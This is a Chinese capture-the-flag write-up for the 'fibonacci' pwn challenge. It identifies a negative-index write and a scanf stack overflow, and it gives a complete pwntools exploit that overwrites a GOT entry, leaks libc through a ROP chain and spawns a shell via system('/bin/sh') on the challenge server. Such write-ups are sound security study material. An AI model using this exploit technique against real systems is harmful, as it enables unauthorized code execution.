分析

题目地址:[[HZNUCTF 2023 final]fibonacci | NSSCTF]

❯ checksec pwn
[*] '/home/za/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

idx未检查负数溢出,同时strlen可以\x00绕过。
scanf("%s")可以栈溢出。

思路

  • 修改__stack_chk_fail@gotputs@plt,或者直接改为ret地址

  • 栈溢出

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io = process("./pwn")
io = remote("node4.anna.nssctf.cn",28803)

elf=ELF("./pwn")
libc=ELF('/home/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

# leak("puts plt", elf.plt["puts"])
# leak("puts got", elf.got["puts"])
# leak("stack plt", elf.plt["__stack_chk_fail"])
# leak("stack got", elf.got["__stack_chk_fail"])

pause()
prdi = 0x0000000000401a33
ret = 0x4013FB
# __stack_chk_fail@got -> puts@plt
sla(b">> ", str(2))
sla(b"?", str(-55))
sla(b"number", str(0x4010C4))

sla(b">> ", str(2))
sla(b"?", str(0))
p = p64(0)*11 + p64(prdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(elf.sym['main'])
sla(b"number\n", p)
libc_base = get_addr() - libc.sym["puts"]
leak("libc_base", libc_base)

system, binsh = get_sb(libc_base)

sla(b">> ", str(2))
sla(b"?", str(0))
p = p64(0)*11 + p64(ret) + p64(prdi) + p64(binsh) + p64(system)
sla(b"number\n", p)

inter()

总结

  • pwn题中会有许多的与漏洞无关的函数,我们要学会快速定位漏洞,减少分析无关函数,避免浪费时间
  • 做题思路要开阔,不要局限于定时思维